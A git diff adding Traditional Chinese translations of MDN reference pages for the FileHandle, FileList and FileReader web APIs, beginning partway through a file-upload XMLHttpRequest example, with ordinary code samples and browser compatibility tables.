+    fileData = file.getAsBinary(), // works on TEXT data ONLY.
+    boundary = "xxxxxxxxx",
+    uri = "serverLogic.php",
+    xhr = new XMLHttpRequest();
+
+  xhr.open("POST", uri, true);
+  xhr.setRequestHeader("Content-Type", "multipart/form-data, boundary="+boundary); // simulate a file MIME POST request.
+  xhr.setRequestHeader("Content-Length", fileSize);
+
+  xhr.onreadystatechange = function() {
+    if (xhr.readyState == 4) {
+      if ((xhr.status &gt;= 200 &amp;&amp; xhr.status &lt;= 200) || xhr.status == 304) {
+
+        if (xhr.responseText != "") {
+          alert(xhr.responseText); // display response.
+        }
+      }
+    }
+  }
+
+  var body = "--" + boundary + "\r\n";
+  body += "Content-Disposition: form-data; name='fileId'; filename='" + fileName + "'\r\n";
+  body += "Content-Type: application/octet-stream\r\n\r\n";
+  body += fileData + "\r\n";
+  body += "--" + boundary + "--";
+
+  xhr.send(body);
+  return true;
+}
+</pre>
+
+<p><em>使用二進制數據時，這些程式碼還需要修改。</em></p>
+
+<h2 id="你也可以參考這些文章">你也可以參考這些文章</h2>
+
+<ul>
+ <li><code>{{domxref("File")}}</code></li>
+ <li><font face="Consolas, Liberation Mono, Courier, monospace">{{domxref("FileList")}}  </font></li>
+ <li><font face="Consolas, Liberation Mono, Courier, monospace">{{domxref("FileReader") }}  </font></li>
+ <li><a href="/en/DOM/XMLHttpRequest/Using_XMLHttpRequest" title="En/Using XMLHttpRequest">Using XMLHttpRequest</a></li>
+ <li><a href="/en/Extensions/Using_the_DOM_File_API_in_chrome_code" title="en/Extensions/Using the DOM File API in chrome code">Using the DOM File API in chrome code</a></li>
+ <li><code>{{domxref("XMLHttpRequest")}}</code></li>
+</ul>
+
+<p>{{ HTML5ArticleTOC() }}</p>
diff --git a/files/zh-tw/web/api/file_handle_api/index.html b/files/zh-tw/web/api/file_handle_api/index.html
new file mode 100644
index 0000000000..bd603fe78a
--- /dev/null
+++ b/files/zh-tw/web/api/file_handle_api/index.html
@@ -0,0 +1,233 @@
+---
+title: FileHandle API
+slug: Web/API/File_Handle_API
+translation_of: Web/API/File_Handle_API
+---
+<p>FileHandle API 可操作檔案，例如建立檔案、修改檔案內容 (不同於 <a href="https://developer.mozilla.org/en-US/docs/DOM/File" title="DOM/File">File</a> API)。而正在編輯中的部分，將使用回合制的鎖定機制，以避免發生競態 (Race) 問題。</p>
+<h2 id="API">API</h2>
+<h3 id="建立_FileHandle">建立 FileHandle</h3>
+<p>若要建立 FileHandle 物件，則需要 <a href="https://developer.mozilla.org/en-US/docs/IndexedDB/IDBFactory#open" title="IndexedDB/IDBFactory#open">IndexedDB Database</a>。</p>
+<div style="overflow: hidden;">
+  <pre class="brush: js">var idbreq = indexedDB.open("MyTestDatabase");
+
+idbreq.onsuccess = function(){
+  var db = idbreq.result;
+  var handleReq = db.mozCreateFileHandle("test.bin", "binary");
+
+  handleReq.onsuccess = function(){
+    var handle = handleReq.result;
+    console.log('handle', handle);
+  };
+};
+</pre>
+</div>
+<p><code>mozCreateFileHandle() </code><code>共使用 </code>2<code> 組參數</code> (Argument)：1 組名稱與 1 組檔案類別 (Optional type)。但這 2 組<code>參</code>數均只屬於敘述性<code>參</code>數，不會用於資料庫。舉例來說，名稱可能是空白字串，而且不需為專屬字串。所以 API 根本不會注意這些參數值。</p>
+<p>另請注意，上列程式碼僅會建立「暫時性檔案」，亦即當你保留 FileHandle 物件時，該檔案才會存在。如果你要在重新整理頁面/重新啟動 App 之後，仍能保留檔案，則必須將 Handle 儲存於更永久性的位置 (如資料庫本身之內) 中。</p>
+<pre class="brush: js">var transaction = db.transaction(["test"], "readwrite");
+var objectStore = transaction.objectStore("test");
+objectStore.add(myFile, myKey).onsuccess = function(event) {
+  // The file is now referenced from database too.
+}
+</pre>
+<h3 id="FileHandle_介面">FileHandle 介面</h3>
+<pre>interface FileHandle
+{
+  LockedFile open(optional DOMString mode);
+  DOMRequest getFile()
+  readonly attribute DOMString name;
+  readonly attribute DOMString type;
+  attribute Function? onabort;
+  attribute Function? onerror;
+};</pre>
+<dl>
+  <dt>
+    open([mode="readonly"])</dt>
+  <dd>
+    可回傳 <a href="#LockedFile_interface">LockedFile</a>。<code>mode</code> 可為「<code>readonly」或「</code><code>readwrite」。</code></dd>
+  <dt>
+    getFile()</dt>
+  <dd>
+    針對檔案而回傳 <a href="/en-US/docs/DOM/DOMRequest" title="/en-US/docs/DOM/DOMRequest">DOMRequest</a>。若成功，就會收到以 <a href="https://developer.mozilla.org/en-US/docs/DOM/File" title="DOM/File">File</a> 物件形式呈現的唯讀「snapshot」檔案內容 (可用於任何接受 <a href="https://developer.mozilla.org/en-US/docs/DOM/Blob" title="DOM/Blob">Blob</a> 的地方，如 <a href="https://developer.mozilla.org/en-US/docs/DOM/FileReader" title="DOM/FileReader">FileReader</a> 或 <a href="https://developer.mozilla.org/en-US/docs/DOM/XMLHttpRequest" title="DOM/XMLHttpRequest">XMLHttpRequest</a> 等)。
+    <pre class="brush: js">myFile.getFile().onsuccess = function(event) {
+  var file = event.target.result;
+  var transcation = myDatabase.transaction(["snapshots"], "readwrite");
+  var objectStore = transaction.objectStore("snapshots");
+  objectStore.add(file, snapshotKey).onsuccess = function(event) {
+    // A new readonly copy of the file has been created.
+  }
+}
+</pre>
+  </dd>
+  <dt>
+    name</dt>
+  <dd>
+    檔案名稱。</dd>
+  <dt>
+    type</dt>
+  <dd>
+    代表 content-type。</dd>
+  <dt>
+    abort event</dt>
+  <dd>
+    放棄已鎖定的檔案，就會發生此事件。</dd>
+  <dt>
+    error event</dt>
+  <dd>
+    任何內部錯誤，都會發生此事件。</dd>
+</dl>
+<h3 id="LockedFile_介面">LockedFile 介面</h3>
+<pre>interface LockedFile
+{
+  readonly attribute FileHandle fileHandle;
+  readonly attribute DOMString mode;
+  readonly attribute boolean active;
+  attribute any? location;
+  FileRequest getMetadata(optional FileMetadataParameters parameters);
+  FileRequest readAsArrayBuffer(unsigned long long size);
+  FileRequest readAsText(unsigned long long size, optional DOMString encoding);
+  FileRequest write(DOMString or ArrayBuffer or Blob value);
+  FileRequest append(DOMString or ArrayBuffer or Blob value);
+  FileRequest truncate(optional unsigned long long size);
+  FileRequest flush();
+  void abort();
+  attribute Function? oncomplete;
+  attribute Function? onabort;
+  attribute Function? onerror;
+};</pre>
+<dl>
+  <dt>
+    fileHandle</dt>
+  <dd>
+    來自於解鎖的 FileHandle 物件。</dd>
+  <dt>
+    mode</dt>
+  <dd>
+    <code>「readonly」或「</code><code>readwrite」。</code></dd>
+  <dt>
+    active</dt>
+  <dd>
+    一旦建立之後，就隨即啟動 LockedFile。此 LockedFile 是「可寫入存取 (Write access) 實際底層檔案」的唯一物件。LockedFile 上的作業，均於 <a href="http://en.wikipedia.org/wiki/Isolation_%28database_systems%29" title="http://en.wikipedia.org/wiki/Isolation_%28database_systems%29">isolation</a> 之中執行；也就是說，只要啟動了 LockedFile，則此 LockedFile 的所有作業都一定會在底層檔案上依序執行，而不會與其他 LockedFiles 的作業交錯執行。</dd>
+  <dd>
+    若停用了 LockedFile，則只要在同樣的 LockedFile 上執行讀/寫作業，都會丟出錯誤訊息。</dd>
+</dl>
+<dl>
+  <dt>
+    location</dt>
+  <dd>
+    檔案中的位置 (Offset)。每次讀/寫作業之後，此數值均將自動變更。讀寫作業均從該 location 開始，而 null 代表檔案末端。</dd>
+  <dt>
+    getMetadata(parameters)</dt>
+  <dd>
+    針對後設資料 (Metadata) 而回傳 <a href="https://developer.mozilla.org/en-US/docs/WebAPI/FileHandle_API#FileRequest_interface" title="WebAPI/FileHandle_API#FileRequest_interface">FileRequest</a>。此<code>參</code>數亦屬於物件，其中將參數名稱作為物件鍵值，布林值作為數值，進而非同步檢索既有的屬性。無數值則代表 <code>true</code>。目前僅有 <code>size</code> 與 <code>lastModified</code> 為可能的參數。</dd>
+  <dt>
+    readAsArrayBuffer(size)</dt>
+  <dd>
+    針對既有<code> size </code>的 <a href="https://developer.mozilla.org/en-US/docs/JavaScript/Typed_arrays/ArrayBuffer" title="JavaScript/Typed_arrays/ArrayBuffer">ArrayBuffer</a>，回傳 <a href="https://developer.mozilla.org/en-US/docs/WebAPI/FileHandle_API#FileRequest_interface" title="WebAPI/FileHandle_API#FileRequest_interface">FileRequest</a>。此作業均從 <code>location</code> 開始，另根據讀取位元組的數目，移動 <code>location</code>。</dd>
+  <dt>
+    readAsText(size [, encoding])</dt>
+  <dd>
+    針對既有 <code>size</code> 的字串，以既定的<code> encoding</code> 回傳 <a href="/en-US/docs/WebAPI/FileHandle_API#FileRequest_interface" title="WebAPI/FileHandle_API#FileRequest_interface">FileRequest</a>。此作業均從 <code>location</code> 開始，另根據讀取位元組的數目，移動 <code>location</code>。<a href="https://developer.mozilla.org/en-US/docs/DOM/FileReader" title="DOM/FileReader">FileReader</a> API 中的對等函式，也以相同方式運作。
+    <pre class="brush: js">var lockedFile = myFile.open();
+var request = lockedFile.readAsText(3);
+request.onsuccess = function(event) {
+  var text = request.result;
+  // 3 characters have been read.
+}
+</pre>
+  </dd>
+  <dt>
+    write(value)</dt>
+  <dd>
+    針對成功/失敗的寫入作業，回傳 <a href="/en-US/docs/WebAPI/FileHandle_API#FileRequest_interface" title="WebAPI/FileHandle_API#FileRequest_interface">FileRequest</a>。寫入作業將從 <code>location</code> 開始，另根據寫入位元組的數目，移動位置。
+    <pre class="brush: js">var lockedFile = myFile.open("readwrite");
+var request = lockedFile.write("foo");
+request.onsuccess = function(event) {
+  // The string "foo" has been written.
+}
+</pre>
+  </dd>
+  <dt>
+    append(value)</dt>
+  <dd>
+    針對成功/失敗的附加 (Append) 作業，回傳 <a href="https://developer.mozilla.org/en-US/docs/WebAPI/FileHandle_API#FileRequest_interface" title="WebAPI/FileHandle_API#FileRequest_interface">FileRequest</a>。不論 <code>location</code> 為何，該數值均附加於檔案末端。在附加資料完畢後，<code>location</code> 隨即設定為 <code>null</code>。</dd>
+  <dt>
+    truncate([size])</dt>
+  <dd>
+    針對成功/失敗的截斷 (Truncate) 作業，回傳 <a href="/en-US/docs/WebAPI/FileHandle_API#FileRequest_interface" title="WebAPI/FileHandle_API#FileRequest_interface">FileRequest。</a></dd>
+  <dd>
+    如果是以單一<code>參</code>數呼叫該函式，則截斷成功之後，則<strong>不論</strong><code> location</code> 為何，檔案將剩下第一個 <code>size</code> 的位元組。</dd>
+  <dd>
+    若沒有用任何<code>參</code>數呼叫該函式，則檔案將剩下 <code>location</code> 的第一個位元組。</dd>
+  <dt>
+    flush()</dt>
+  <dd>
+    強制移轉緩衝過的資料至磁碟上，作業成功之後將回傳 FileRequest。此時即便 App 當機或非刻意中止，都能確保資料已經位於磁碟上了。</dd>
+  <dt>
+    abort()</dt>
+  <dd>
+    停用 LockedFile 並取消全部尚未執行的作業。</dd>
+  <dt>
+    complete, abort, error events</dt>
+</dl>
+<h3 id="FileRequest_介面">FileRequest 介面</h3>
+<p>此類型的物件，均是由 LockedFile 介面的所有非同步作業所回傳。此介面繼承了 <a href="https://developer.mozilla.org/en-US/docs/DOM/DOMRequest" title="DOM/DOMRequest">DOMRequest</a> 並類似 <a href="https://developer.mozilla.org/en-US/docs/IndexedDB/IDBRequest" title="IndexedDB/IDBRequest">IDBRequest</a>，同時還擁有 <code>onprogress </code><code>事件。在成功之後，則可透過</code> <code>result </code><code>屬性而取得必要檔案作業的結果。</code></p>
+<pre>interface FileRequest : DOMRequest
+{
+  readonly attribute LockedFile lockedFile;
+  attribute Function? onprogress;
+};</pre>
+<dl>
+  <dt>
+     </dt>
+</dl>
+<h2 id="說明">說明</h2>
+<h3 id="API_與_FileWriter_的差異？">API 與 FileWriter 的差異？</h3>
+<p><a href="http://dev.w3.org/2009/dap/file-system/file-writer.html" title="http://dev.w3.org/2009/dap/file-system/file-writer.html">FileWriter 規格</a>定義了 FileWriter，也就是用以呈現「可編輯的檔案」的物件。<a href="http://lists.w3.org/Archives/Public/public-webapps/2012JanMar/0886.html" title="http://lists.w3.org/Archives/Public/public-webapps/2012JanMar/0886.html">Public-webapps 討論串</a>則下了結論：若單一檔案同時寫入不同的實體 (Entity)，將導致 API 成效不彰。最後就是 FileHandle API 應具備自己的 LockedFile 與交易機制。</p>
+<h2 id="瀏覽器相容性">瀏覽器相容性</h2>
+<div>
+  {{CompatibilityTable}}</div>
+<div id="compat-desktop">
+  <table class="compat-table">
+    <tbody>
+      <tr>
+        <th>Feature</th>
+        <th>Chrome</th>
+        <th>Firefox (Gecko)</th>
+        <th>Internet Explorer</th>
+        <th>Opera</th>
+        <th>Safari</th>
+      </tr>
+      <tr>
+        <td>Basic support</td>
+        <td>{{CompatNo}}</td>
+        <td>15</td>
+        <td>{{CompatNo}}</td>
+        <td>{{CompatNo}}</td>
+        <td>{{CompatNo}}</td>
+      </tr>
+    </tbody>
+  </table>
+</div>
+<div id="compat-mobile">
+  <table class="compat-table">
+    <tbody>
+      <tr>
+        <th>Feature</th>
+        <th>Android</th>
+        <th>Firefox Mobile (Gecko)</th>
+        <th>IE Mobile</th>
+        <th>Opera Mobile</th>
+        <th>Safari Mobile</th>
+      </tr>
+      <tr>
+        <td>Basic support</td>
+        <td>{{CompatNo}}</td>
+        <td>15</td>
+        <td>{{CompatNo}}</td>
+        <td>{{CompatNo}}</td>
+        <td>{{CompatNo}}</td>
+      </tr>
+    </tbody>
+  </table>
+</div>
+<p> </p>
diff --git a/files/zh-tw/web/api/filelist/index.html b/files/zh-tw/web/api/filelist/index.html
new file mode 100644
index 0000000000..56c2f02235
--- /dev/null
+++ b/files/zh-tw/web/api/filelist/index.html
@@ -0,0 +1,149 @@
+---
+title: FileList
+slug: Web/API/FileList
+translation_of: Web/API/FileList
+---
+<div>{{APIRef("File API")}}{{gecko_minversion_header("1.9")}}</div>
+
+<p><code>FileList</code> 型別物件通常來自 HTML {{HTMLElement("input")}} 元素 {{domxref("Document_Object_Model", "DOM")}} 物件的 <code>files</code> 屬性（{{Glossary("property/JavaScript", "property")}}）。你可以操作 <code>FileList</code> 物件來存取使用者透過 <code>&lt;input type="file"&gt;</code> 元素所選取的檔案，或由拖放操作所產生的檔案（請參考 {{domxref("DataTransfer")}} 物件的更多使用細節）。</p>
+
+<div class="note">
+<p><strong>註：</strong>在 {{Gecko("1.9.2")}} 之前，{{HTMLElement("input")}} 元素只支援一次選取一個檔案，這代表了 <code>FileList</code> 只能夠包含一個 <code>File</code> 物件。從 {{Gecko("1.9.2")}} 開始，假如 <code>&lt;input&gt;</code> 元素的 <code>multiple</code> 屬性（attribute）為 true，則 FileList 就可能會包含多個檔案。</p>
+</div>
+
+<h2 id="Using_the_file_list" name="Using_the_file_list">使用 FileList</h2>
+
+<p>所有 <code>&lt;input&gt;</code> 元素節點的 {{domxref("Document_Object_Model", "DOM")}} 物件都擁有 <code>files</code> 屬性（{{Glossary("property/JavaScript", "property")}}），此屬性即為 <code>FileList</code>，是一個可藉此存取使用者選取之檔案的類陣列物件。以下範例展示了一個 <code>type</code> 屬性（{{Glossary("attribute")}}）值為 <code>file</code> 的 HTML <code>&lt;input&gt;</code> 元素：</p>
+
+<pre class="brush: html">&lt;input id="fileItem" type="file"&gt;
+</pre>
+
+<p>下面範例演示了如何取得 <code>&lt;input&gt;</code> 元素節點中所包含的第一個 {{domxref("File")}} 型別物件：</p>
+
+<pre class="brush: js">var file = document.getElementById('fileItem').files[0];
+</pre>
+
+<h2 id="Method_overview" name="Method_overview">方法概觀</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <td><code>File <a href="#item ()">item</a>(index);</code></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Attributes" name="Attributes">屬性</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <td class="header">屬性名稱</td>
+   <td class="header">型別</td>
+   <td class="header">描述</td>
+  </tr>
+  <tr>
+   <td><code>length</code></td>
+   <td><code>integer</code></td>
+   <td>表示 <code>FileList</code> 物件中的檔案數量，唯讀。</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Methods" name="Methods">方法</h2>
+
+<h3 id="item()" name="item()">item()</h3>
+
+<p>回傳 <code>FileList</code> 中指定索引的 {{domxref("File")}} 物件。</p>
+
+<pre class="brush: js">File item(
+  index
+);
+</pre>
+
+<h6 id="Parameters" name="Parameters">參數</h6>
+
+<dl>
+ <dt><code>index</code></dt>
+ <dd>要取得的檔案之索引（起始於零）。</dd>
+</dl>
+
+<h6 id="Return_value" name="Return_value">回傳值</h6>
+
+<p>要求的 {{domxref("File")}} 物件。</p>
+
+<h2 id="Example" name="Example">範例</h2>
+
+<p>此範例演示了迭代所有之使用者於 <code>&lt;input&gt;</code> 元素選取的檔案：</p>
+
+<pre class="brush:js">// fileInput is an HTML input element: &lt;input type="file" id="myfileinput" multiple&gt;
+var fileInput = document.getElementById("myfileinput");
+
+// files is a FileList object (similar to NodeList)
+var files = fileInput.files;
+var file;
+
+// loop through files
+for (var i = 0; i &lt; files.length; i++) {
+
+    // get item
+    file = files.item(i);
+    //or
+    file = files[i];
+
+    alert(file.name);
+}
+</pre>
+
+<p>以下是更完整的範例：</p>
+
+<pre class="brush:html">&lt;!DOCTYPE HTML&gt;
+&lt;html&gt;
+&lt;head&gt;
+&lt;/head&gt;
+&lt;body&gt;
+&lt;!--multiple is set to allow multiple files to be selected--&gt;
+
+&lt;input id="myfiles" multiple type="file"&gt;
+
+&lt;/body&gt;
+
+&lt;script&gt;
+
+var pullfiles=function(){
+    // love the query selector
+    var fileInput = document.querySelector("#myfiles");
+    var files = fileInput.files;
+    // cache files.length
+    var fl = files.length;
+    var i = 0;
+
+    while ( i &lt; fl) {
+        // localize file var in the loop
+        var file = files[i];
+        alert(file.name);
+        i++;
+    }
+}
+
+// set the input element onchange to call pullfiles
+document.querySelector("#myfiles").onchange=pullfiles;
+
+//a.t
+&lt;/script&gt;
+
+&lt;/html&gt;</pre>
+
+<h2 id="Specification" name="Specification">規範</h2>
+
+<ul>
+ <li><a class="external" href="http://www.whatwg.org/specs/web-apps/current-work/multipage/number-state.html#concept-input-type-file-selected" title="http://www.whatwg.org/specs/web-apps/current-work/multipage/number-state.html#concept-input-type-file-selected">File upload state</a> (HTML5 working draft)</li>
+</ul>
+
+<h2 id="See_also" name="See_also">參見</h2>
+
+<ul>
+ <li><a href="/zh-TW/docs/Using_files_from_web_applications">在網頁應用程式中使用本地檔案</a></li>
+ <li>{{domxref("File")}}</li>
+ <li>{{domxref("FileReader")}}</li>
+</ul>
diff --git a/files/zh-tw/web/api/filereader/error/index.html b/files/zh-tw/web/api/filereader/error/index.html
new file mode 100644
index 0000000000..572509db9e
--- /dev/null
+++ b/files/zh-tw/web/api/filereader/error/index.html
@@ -0,0 +1,102 @@
+---
+title: FileReader.error
+slug: Web/API/FileReader/error
+translation_of: Web/API/FileReader/error
+---
+<div>{{APIRef("File API")}}</div>
+
+<h2 id="總覽">總覽</h2>
+
+<p>回傳讀取檔案時發生的錯誤。</p>
+
+<h2 id="語法">語法</h2>
+
+<pre class="syntaxbox">var <var>error</var> = <em>instanceOfFileReader</em>.error
+</pre>
+
+<h2 id="Value">Value</h2>
+
+<p>A {{domxref("DOMError")}}</p>
+
+<h2 id="規格">規格</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName("File API", "#FileReader-interface", "FileReader")}}</td>
+   <td>{{Spec2("File API")}}</td>
+   <td>Initial definition</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="瀏覽器相容性">瀏覽器相容性</h2>
+
+<p>{{CompatibilityTable}}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Firefox (Gecko)</th>
+   <th>Chrome</th>
+   <th>Edge</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatGeckoDesktop("1.9.2")}}<sup>[1]</sup></td>
+   <td>7</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>10<sup>[2]</sup></td>
+   <td>12.02<sup>[3]</sup></td>
+   <td>6.0.2</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>Android</th>
+   <th>Edge</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>32</td>
+   <td>3</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>10</td>
+   <td>11.5</td>
+   <td>6.1</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<p>[1] Prior to Gecko 2.0 beta 7 (Firefox 4.0 beta 7), all {{domxref("Blob")}} parameters below were {{domxref("File")}} parameters; this has since been updated to match the specification correctly. Prior to Gecko 13.0 {{geckoRelease("13.0")}} the <code>FileReader.error</code> property returned a {{domxref("FileError")}} object. This interface has been removed and <code>FileReader.error</code> is now returning the {{domxref("DOMError")}} object as defined in the latest FileAPI draft.</p>
+
+<p>[2] IE9 has a <a href="http://html5labs.interoperabilitybridges.com/prototypes/fileapi/fileapi/info">File API Lab</a>.</p>
+
+<p>[3] Opera has <a href="http://www.opera.com/docs/specs/presto28/file/">partial support</a> in 11.1.</p>
+
+<h2 id="閱讀更多">閱讀更多</h2>
+
+<ul>
+ <li>{{domxref("FileReader")}}</li>
+</ul>
diff --git a/files/zh-tw/web/api/filereader/index.html b/files/zh-tw/web/api/filereader/index.html
new file mode 100644
index 0000000000..4b80e334a4
--- /dev/null
+++ b/files/zh-tw/web/api/filereader/index.html
@@ -0,0 +1,213 @@
+---
+title: FileReader
+slug: Web/API/FileReader
+tags:
+  - API
+  - File API
+  - Files
+  - Interface
+  - Reference
+translation_of: Web/API/FileReader
+---
+<div>{{APIRef("File API")}}</div>
+
+<p>藉由 <code>FileReader</code> 物件，Web 應用程式能以非同步（asynchronously）方式讀取儲存在用戶端的檔案（或原始資料暫存）內容，可以使用 {{domxref("File")}} 或 {{domxref("Blob")}} 物件指定要讀取的資料。</p>
+
+<p>File 物件可以從使用者於 {{HTMLElement("input")}} 元素選擇之檔案所回傳的 {{domxref("FileList")}} 物件當中取得，或是來自<a href="/docs/Web/Guide/HTML/Drag_and_drop">拖放操作</a>所產生的 {{domxref("DataTransfer")}} 物件之中，也能由 {{domxref("HTMLCanvasElement")}} 物件（元素物件）執行 <code>mozGetAsFile()</code> 方法後回傳。</p>
+
+<p>{{AvailableInWorkers}}</p>
+
+<h2 id="建構式">建構式</h2>
+
+<dl>
+ <dt>{{domxref("FileReader.FileReader", "FileReader()")}}</dt>
+ <dd>建立新的 <code>FileReader</code> 物件。</dd>
+</dl>
+
+<p>請參考<a href="/docs/Using_files_from_web_applications">在網頁應用程式中使用本地檔案</a>的更多細節與範例。</p>
+
+<h2 id="屬性">屬性</h2>
+
+<dl>
+ <dt>{{domxref("FileReader.error")}} {{readonlyinline}}</dt>
+ <dd>此 {{domxref("DOMException")}} 類型的物件記錄了讀取資料時發生的錯誤資訊。</dd>
+ <dt>{{domxref("FileReader.readyState")}} {{readonlyinline}}</dt>
+ <dd>表示目前 <code>FileReader</code> 狀態的數字，其代表的意義為：
+ <table class="standard-table">
+  <tbody>
+   <tr>
+    <td><code>EMPTY</code></td>
+    <td><code>0</code></td>
+    <td>尚未讀入任何資料。</td>
+   </tr>
+   <tr>
+    <td><code>LOADING</code></td>
+    <td><code>1</code></td>
+    <td>正在讀入資料。</td>
+   </tr>
+   <tr>
+    <td><code>DONE</code></td>
+    <td><code>2</code></td>
+    <td>完成資料讀取。</td>
+   </tr>
+  </tbody>
+ </table>
+ </dd>
+ <dt>{{domxref("FileReader.result")}} {{readonlyinline}}</dt>
+ <dd>讀入的資料內容。只有在讀取完成之後此屬性才有效，而資料的格式則取決於是由哪一個方法進行讀取。</dd>
+</dl>
+
+<h3 id="事件處理器">事件處理器</h3>
+
+<dl>
+ <dt>{{domxref("FileReader.onabort")}}</dt>
+ <dd>{{event("abort")}} 事件處理器，於讀取被中斷時觸發。</dd>
+ <dt>{{domxref("FileReader.onerror")}}</dt>
+ <dd>{{event("error")}} 事件處理器，於讀取發生錯誤時觸發。</dd>
+ <dt>{{domxref("FileReader.onload")}}</dt>
+ <dd>{{event("load")}} 事件處理器，於讀取完成時觸發。</dd>
+ <dt>{{domxref("FileReader.onloadstart")}}</dt>
+ <dd>{{event("loadstart")}} 事件處理器，於讀取開始時觸發。</dd>
+ <dt>{{domxref("FileReader.onloadend")}}</dt>
+ <dd>{{event("loadend")}} 事件處理器，於每一次讀取結束之後觸發（不論成功或失敗），會於 <code>onload</code> 或 <code>onerror</code> 事件處理器之後才執行。</dd>
+ <dt>{{domxref("FileReader.onprogress")}}</dt>
+ <dd>{{event("progress")}} 事件處理器，於讀取 {{domxref("Blob")}} 內容時觸發。</dd>
+</dl>
+
+<div class="note">
+<p><code>FileReader</code> 物件繼承自 {{domxref("EventTarget")}}，其所有的事件也都能夠透過 {{domxref("EventTarget.addEventListener()","addEventListener")}} 方法來註冊事件監聽器。</p>
+</div>
+
+<h2 id="方法">方法</h2>
+
+<dl>
+ <dt>{{domxref("FileReader.abort()")}}</dt>
+ <dd>中斷目前的讀取，此方法回傳後屬性 <code>readyState</code> 將會是 <code>DONE</code>。</dd>
+ <dt>{{domxref("FileReader.readAsArrayBuffer()")}} {{gecko_minversion_inline("7.0")}}</dt>
+ <dd>開始讀取指定的 {{domxref("Blob")}}，讀取完成後屬性 <code>result</code> 將以 {{domxref("ArrayBuffer")}} 物件來表示讀入的資料內容。</dd>
+ <dt>{{domxref("FileReader.readAsBinaryString()")}} {{non-standard_inline}}</dt>
+ <dd>開始讀取指定的 {{domxref("Blob")}}，讀取完成後屬性 <code>result</code> 將以字串型式來表示讀入的原始二進位資料（raw binary data）。</dd>
+ <dt>{{domxref("FileReader.readAsDataURL()")}}</dt>
+ <dd>開始讀取指定的 {{domxref("Blob")}}，讀取完成後屬性 <code>result</code> 將以 <code>data:</code> URL 格式（base64 編碼）的字串來表示讀入的資料內容。</dd>
+ <dt>{{domxref("FileReader.readAsText()")}}</dt>
+ <dd>開始讀取指定的 {{domxref("Blob")}}，讀取完成後屬性 <code>result</code> 將以文字字串型式來表示讀入的資料內容。</dd>
+</dl>
+
+<h2 id="規範">規範</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">規範</th>
+   <th scope="col">狀態</th>
+   <th scope="col">註解</th>
+  </tr>
+  <tr>
+   <td>{{SpecName("File API", "#dfn-filereader", "FileReader")}}</td>
+   <td>{{Spec2("File API")}}</td>
+   <td>Initial definition</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="瀏覽器相容性">瀏覽器相容性</h2>
+
+<p>{{CompatibilityTable}}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>功能</th>
+   <th>Firefox (Gecko)</th>
+   <th>Chrome</th>
+   <th>Edge</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>基本支援</td>
+   <td>{{CompatGeckoDesktop("1.9.2")}}<sup>[1]</sup></td>
+   <td>7</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>10<sup>[2]</sup></td>
+   <td>12.02<sup>[2]</sup></td>
+   <td>6.0</td>
+  </tr>
+  <tr>
+   <td>在 Web Workers 的支援</td>
+   <td>{{CompatGeckoDesktop(46)}}</td>
+   <td>{{CompatVersionUnknown()}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatVersionUnknown()}}</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+  <tr>
+   <td><code>error</code> property uses {{domxref("DOMException")}}, not {{domxref("DOMError")}}</td>
+   <td>{{CompatGeckoDesktop(58)}}</td>
+   <td>{{CompatVersionUnknown()}}</td>
+   <td>{{CompatVersionUnknown()}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatVersionUnknown()}}</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>功能</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>Android</th>
+   <th>Edge</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>基本支援</td>
+   <td>32</td>
+   <td>3</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>10</td>
+   <td>11.5</td>
+   <td>6.1</td>
+  </tr>
+  <tr>
+   <td>在 Web Workers 的支援</td>
+   <td>{{CompatGeckoMobile(46)}}</td>
+   <td>{{CompatVersionUnknown()}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatVersionUnknown()}}</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+  <tr>
+   <td><code>error</code> property uses {{domxref("DOMException")}}, not {{domxref("DOMError")}}</td>
+   <td>{{CompatGeckoMobile(58)}}</td>
+   <td>{{CompatUnknown()}}</td>
+   <td>{{CompatVersionUnknown()}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatVersionUnknown()}}</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
